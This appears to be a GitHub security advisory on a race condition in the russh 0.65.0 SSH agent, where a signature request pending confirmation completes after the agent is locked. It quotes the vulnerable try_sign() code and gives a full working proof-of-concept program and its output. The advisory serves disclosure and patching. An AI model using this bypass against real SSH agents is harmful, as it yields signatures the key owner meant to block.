Advisory

GHSA-736f-c93q-9fwx

Also known as: CVE-2026-128088

Summary

russh try_sign: asynchronous confirmation can sign after agent lock

Details

Summary

In russh 0.65.0, a sign request for a confirmation-constrained key can retain
and use the private key after another connection locks the agent. try_sign()
snapshots an Arc<PrivateKey> before awaiting Agent::confirm() and does not
revalidate the shared lock state after the await. An agent-forwarding peer can
therefore obtain a signature while the agent is locked and every new request is
being rejected.

Details

The agent's lock and key stores are shared by all connections. respond() reads
the lock state once, then dispatches a sign request:

let is_locked = {
    // ... read the shared lock ...
};

// ...
Some((&13, mut r))
    if !is_locked && agentref.confirm_request(MessageType::Sign).await =>
{
    let agent = self.agent.take().ok_or(Error::AgentFailure)?;
    let (agent, signed) = self.try_sign(agent, &mut r, writebuf).await?;

In try_sign(), russh clones the private key from the shared store and drops the
store lock before awaiting the asynchronous confirmation callback:

let key = {
    let blob = Bytes::decode(r)?;
    let k = self.keys.0.read().or(Err(Error::AgentFailure))?;
    if let Some((key, _, constraints)) = k.get(&blob.to_vec()) {
        if constraints.contains(&Constraint::Confirm) {
            needs_confirm = true;
        }
        key.clone()
    } else {
        return Ok((agent, false));
    }
};

let agent = if needs_confirm {
    let (agent, ok) = agent.confirm(key.clone()).await;
    if !ok {
        return Ok((agent, false));
    }
    agent
} else {
    agent
};

// No lock/key-state revalidation occurs here.
sign_with_hash_alg(&PrivateKeyWithHashAlg::new(key, hash_alg), &data)?
    .encode(writebuf)?;

While confirm() is pending, a second agent connection can successfully lock
the shared agent. When confirmation later returns true, the original
connection signs with its captured Arc<PrivateKey>.

The affected code is in
`russh/src/keys/agent/server.rs`
and
`try_sign()`.

RFC 9987 section 5.7 requires a locked agent to suspend private-key signature
operations until it is unlocked. A fresh request is correctly rejected while
locked; only the request suspended across the await bypasses the lock.

The vulnerable asynchronous call was introduced by commit 62db6e7 as the fix
for GHSA-vp5q-ff62-jwqv. The behavior is present in released version 0.65.0
and current commit 183a22e8f8f490fa09b6eb7bd044ef99d8c4414f.

Expected behavior

After the agent reports a successful lock, no private-key signature operation
should complete until a successful unlock.

Actual behavior

A request that reached Agent::confirm() before the state transition signs
afterward. New requests made in the same locked or expired state fail, confirming
that the shared state transition took effect.

Proof of concept

The PoC is self-contained and uses in-memory duplex streams; it does not require
an SSH server, Unix socket, or attached binary file. With a current stable Rust
toolchain installed, create a new directory:

mkdir -p russh-agent-lock-toctou-poc/src
cd russh-agent-lock-toctou-poc

Create Cargo.toml:

[package]
name = "russh-agent-lock-toctou-poc"
version = "0.1.0"
edition = "2024"

[dependencies]
futures = "0.3"
rand = { version = "0.10", features = ["thread_rng"] }
russh = "=0.65.0"
tokio = { version = "1", features = ["macros", "rt-multi-thread", "sync"] }
tokio-stream = "0.1"

Create src/main.rs:

use std::{future::Future, sync::Arc};

use russh::keys::agent::{
    Constraint,
    client::AgentClient,
    server::{self, Agent},
};
use russh::keys::{Algorithm, PrivateKey};
use tokio::{
    io::DuplexStream,
    sync::{Notify, mpsc},
};
use tokio_stream::wrappers::ReceiverStream;

#[derive(Clone)]
struct DelayedConfirm {
    entered: Arc<Notify>,
    release: Arc<Notify>,
}

impl Agent for DelayedConfirm {
    fn confirm(
        self,
        _key: Arc<PrivateKey>,
    ) -> Box<dyn Future<Output = (Self, bool)> + Unpin + Send> {
        Box::new(Box::pin(async move {
            self.entered.notify_one();
            self.release.notified().await;
            (self, true)
        }))
    }
}

async fn connect(
    sender: &mpsc::Sender<std::io::Result<DuplexStream>>,
) -> AgentClient<DuplexStream> {
    let (server_stream, client_stream) = tokio::io::duplex(1024 * 1024);
    sender.send(Ok(server_stream)).await.unwrap();
    AgentClient::connect(client_stream)
}

#[tokio::main]
async fn main() {
    let entered = Arc::new(Notify::new());
    let release = Arc::new(Notify::new());
    let agent = DelayedConfirm {
        entered: entered.clone(),
        release: release.clone(),
    };

    let (sender, receiver) = mpsc::channel(4);
    tokio::spawn(async move {
        server::serve::<DuplexStream, _, _>(ReceiverStream::new(receiver), agent)
            .await
            .unwrap();
    });

    let key = PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap();
    let public_key = key.public_key().clone();

    let mut administrator = connect(&sender).await;
    administrator
        .add_identity(&key, &[Constraint::Confirm])
        .await
        .unwrap();

    let mut attacker = connect(&sender).await;
    let attacker_key = public_key.clone();
    let pending_sign = tokio::spawn(async move {
        attacker
            .sign_request_signature(&attacker_key, None, b"attacker-controlled request")
            .await
    });

    entered.notified().await;
    administrator.lock(b"lock-password").await.unwrap();
    println!("agent locked while confirmation was pending");

    // Control: a request started after the lock is rejected.
    let mut control = connect(&sender).await;
    let control_result = control
        .sign_request_signature(&public_key, None, b"post-lock request")
        .await;
    println!("new post-lock request accepted: {}", control_result.is_ok());

    // The original request signs after the lock has taken effect.
    release.notify_one();
    let pending_result = pending_sign.await.unwrap();
    println!(
        "pre-lock request signed after lock: {}",
        pending_result.is_ok()
    );

    assert!(control_result.is_err());
    assert!(pending_result.is_ok());
}

Run:

cargo run --quiet

Observed on russh 0.65.0 with Rust 1.91.0:

agent locked while confirmation was pending
new post-lock request accepted: false
pre-lock request signed after lock: true

Impact

russh-based SSH agents that implement asynchronous confirmation are affected,
including agents exposed to remote SSH servers through agent forwarding. A peer
can begin a signature request while the agent is unlocked and hold it in the
confirmation phase. If the agent is subsequently locked, approving or otherwise
completing the stale confirmation still gives the peer a signature that the
agent's current state rejects for every new request.

Severity

Low Basis: The source's own band: LOW

Dates

Published
2026-11-13 19:10 UTC
Modified
2026-11-13 19:15 UTC

Affected packages and fixes

russh

crates.io · All systems

Affected

  • introduced 0.65.0, fixed 0.65.1 (semver)

Fixed versions

0.65.1

Fix

  • Fixed version 0.65.1
    cargo update -p russh --precise 0.65.1

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Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences